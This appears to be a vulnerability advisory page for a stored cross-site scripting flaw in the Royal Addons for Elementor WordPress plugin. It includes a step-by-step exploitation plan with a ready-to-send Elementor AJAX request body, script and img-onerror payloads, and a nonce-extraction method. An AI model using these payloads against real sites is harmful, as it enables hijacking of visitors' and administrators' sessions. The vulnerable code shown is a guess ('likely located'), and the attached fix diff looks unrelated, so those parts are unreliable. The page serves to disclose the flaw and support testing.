Royal Addons for Elementor <= 1.7.1056 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'Follow Button Text' Parameter
Description
The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Instagram Feed widget's 'instagram_follow_text' setting in all versions up to, and including, 1.7.1056 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Note that exploitation requires that an administrator has previously configured the Instagram Feed widget with a valid Instagram access token on the site.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.7.1056What Changed in the Fix
Changes introduced in v1.7.1057
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-5159 ## 1. Vulnerability Summary The **Royal Addons for Elementor** plugin (up to version 1.7.1056) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the Instagram Feed widget's processing of the `instagram_f…
Show full research plan
Exploitation Research Plan: CVE-2026-5159
1. Vulnerability Summary
The Royal Addons for Elementor plugin (up to version 1.7.1056) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists within the Instagram Feed widget's processing of the instagram_follow_text setting. Due to missing input sanitization and output escaping, a user with Contributor-level access or higher can inject arbitrary scripts into a page via the Elementor editor. These scripts execute when any user views the affected page.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php(via Elementor'selementor_ajaxaction). - Vulnerable Parameter:
instagram_follow_textwithin the widget settings JSON. - Authentication Level: Contributor+.
- Precondition: An Administrator must have previously configured a valid-looking Instagram Access Token in the plugin's settings (usually stored in
wp_optionsas something likewpr_instagram_access_tokenor configured in the widget settings). - Payload:
<script>alert(document.domain)</script>or an admin-account-takeover payload.
3. Code Flow
- Entry Point: An authenticated Contributor user opens a post in the Elementor Editor.
- Input: The user adds the
wpr-instagram-feedwidget to the page and modifies the "Follow Button Text" (instagram_follow_text) setting. - Data Storage: When the user clicks "Update" in Elementor, a
POSTrequest is sent toadmin-ajax.phpwith the actionelementor_ajax. The commandeditor_post_saveis used. Elementor saves the widget settings as a JSON blob in the_elementor_datapost meta. - Widget Rendering: The plugin registers the widget in
assets/js/frontend.jsaswpr-instagram-feed.default. - Sink: In the PHP
render()method of the Instagram Feed widget (likely located inmodules/instagram-feed/widgets/wpr-instagram-feed.php), the code retrieves the setting:$settings = $this->get_settings_for_display(); // ... logic to check for instagram access token ... if ( ! empty( $settings['instagram_follow_text'] ) ) { echo '<span class="wpr-instagram-follow-text">' . $settings['instagram_follow_text'] . '</span>'; // VULNERABLE SINK } - Execution: The unescaped HTML/JS is rendered into the public-facing page.
4. Nonce Acquisition Strategy
To save data in Elementor as a Contributor, we need the elementor_ajax nonce.
- Create a Page: Use WP-CLI to create a page and enable Elementor for it.
- Access Editor: Navigate to the Elementor editor URL for that page:
/wp-admin/post.php?post=[ID]&action=elementor. - Extract Nonce: The Elementor configuration object is stored in the global JavaScript variable
elementorCommon.- Use
browser_evalto extract the nonce:browser_eval("elementorCommon.config.ajax.nonce").
- Use
- Alternative: The nonce can often be found in the localized script
elementor-editor-js-extraunder the keynonce.
5. Exploitation Strategy
Step 1: Pre-configuration (Admin)
Ensure the Instagram widget is "active" by simulating a valid token configuration.
wp option update wpr_instagram_access_token "FAKE_TOKEN_12345"
Step 2: Create Target Page (Contributor)
wp post create --post_type=page --post_title="XSS Page" --post_status=publish --post_author=[CONTRIBUTOR_ID]
# Get the Post ID
Step 3: Extract Elementor Nonce
Navigate to the Elementor editor as the Contributor and run:browser_eval("window.elementorConfig?.ajax?.nonce || elementorCommon.config.ajax.nonce")
Step 4: Submit Malicious Widget Data
Perform a POST request to wp-admin/admin-ajax.php using the http_request tool.
Request Details:
- URL:
http://[target]/wp-admin/admin-ajax.php?action=elementor_ajax - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
actions={"editor_post_save":{"action":"editor_post_save","data":{"status":"publish","elements":[{"id":"[GENERATE_ID]","elType":"section","settings":[],"elements":[{"id":"[GENERATE_ID]","elType":"column","settings":{"_column_size":100},"elements":[{"id":"[GENERATE_ID]","elType":"widget","widgetType":"wpr-instagram-feed","settings":{"instagram_follow_text":"<script>alert(document.domain)</script>","instagram_access_token":"FAKE_TOKEN"}}]}]}]}}}&_nonce=[EXTRACTED_NONCE]&post_id=[POST_ID]
Step 5: Trigger XSS
Navigate to the permalink of the created page: http://[target]/?p=[POST_ID].
6. Test Data Setup
- User: Contributor user.
- Plugin Settings: The Instagram Feed widget must be enabled. Since version 1.7.1056 is targeted, ensure it is installed and the
wpr_instagram_access_tokenis set in the database (or the widget-level setting is used). - Elementor: Elementor must be active and the created page must be edited with Elementor.
7. Expected Results
- The AJAX response should return
{"success":true,...}. - Upon viewing the page, an alert box with the site's domain should appear.
- Viewing the HTML source of the page should show:
<span class="wpr-instagram-follow-text"><script>alert(document.domain)</script></span>
8. Verification Steps
- Verify DB Storage:
Check if the JSON contains the stringwp post meta get [POST_ID] _elementor_data<script>alert(document.domain)</script>. - Confirm Execution: Use
browser_navigateto the page and check for the presence of the alert or the script tag in the DOM.
9. Alternative Approaches
- If
editor_post_savefails: Try using the standardsave_posthook if Royal Addons provides a standalone settings page for Instagram feeds that acceptsinstagram_follow_text. - Payload variations: If
<script>is blocked by a basic WAF, useimgtags withonerror:<img src=x onerror=alert(1)> - Dependency check: If the feed doesn't render because the "token" is invalid, try to find a widget template that renders the follow button regardless of the feed loading status (e.g., if "Show Follow Button" is enabled in settings). Look for the control name
instagram_show_followin the widget settings.
Summary
The Royal Addons for Elementor plugin is vulnerable to Authenticated Stored Cross-Site Scripting via the 'instagram_follow_text' parameter in the Instagram Feed widget. This allows attackers with Contributor-level access or higher to inject malicious scripts that execute in the context of any user viewing the page, provided a valid Instagram access token has been configured.
Vulnerable Code
// modules/instagram-feed/widgets/wpr-instagram-feed.php $settings = $this->get_settings_for_display(); // ... logic to check for instagram access token ... if ( ! empty( $settings['instagram_follow_text'] ) ) { echo '<span class="wpr-instagram-follow-text">' . $settings['instagram_follow_text'] . '</span>'; // VULNERABLE SINK }
Security Fix
@@ -120,6 +120,8 @@ register_setting('wpr-extension-settings', 'wpr-parallax-multi-layer'); register_setting('wpr-extension-settings', 'wpr-custom-css'); register_setting('wpr-extension-settings', 'wpr-display-conditions'); + register_setting('wpr-extension-settings', 'wpr-equal-height'); + // register_setting('wpr-extension-settings', 'wpr-column-slider'); register_setting('wpr-extension-settings', 'wpr-sticky-section'); // Element Toggle @@ -1630,6 +1632,12 @@ echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>'; } elseif ( 'wpr-display-conditions' === $option_name ) { echo '<br><span>Tip: Edit any Element > Navigate to Visibility tab</span>'; + } elseif ( 'wpr-column-slider' === $option_name ) { + echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>'; + // echo '<a href="https://www.youtube.com" target="_blank">Watch Video Tutorial</a>'; + } elseif ( 'wpr-equal-height' === $option_name ) { + echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>'; + // echo '<a href="https://www.youtube.com" target="_blank">Watch Video Tutorial</a>'; } // echo '<a href="https://royal-elementor-addons.com/elementor-particle-effects/?ref=rea-plugin-backend-extentions-prev">'. esc_html('View Extension Demo', 'wpr-addons') .'</a>'; ... (truncated)
Exploit Outline
1. Login to the WordPress dashboard with at least Contributor-level permissions. 2. Create or edit a post/page and launch the Elementor Editor. 3. Add the 'Royal Instagram Feed' widget to the page layout. 4. In the widget's Content settings, find the 'Follow Button' section and locate the 'Follow Button Text' field (internally `instagram_follow_text`). 5. Enter a malicious script payload, such as <script>alert(document.domain)</script>, into this field. 6. Save or Update the page to store the payload in the post's Elementor metadata. 7. View the published page as any user. Provided a valid Instagram Access Token has been configured in the plugin settings (a required precondition for the widget to render), the unescaped script will execute in the browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.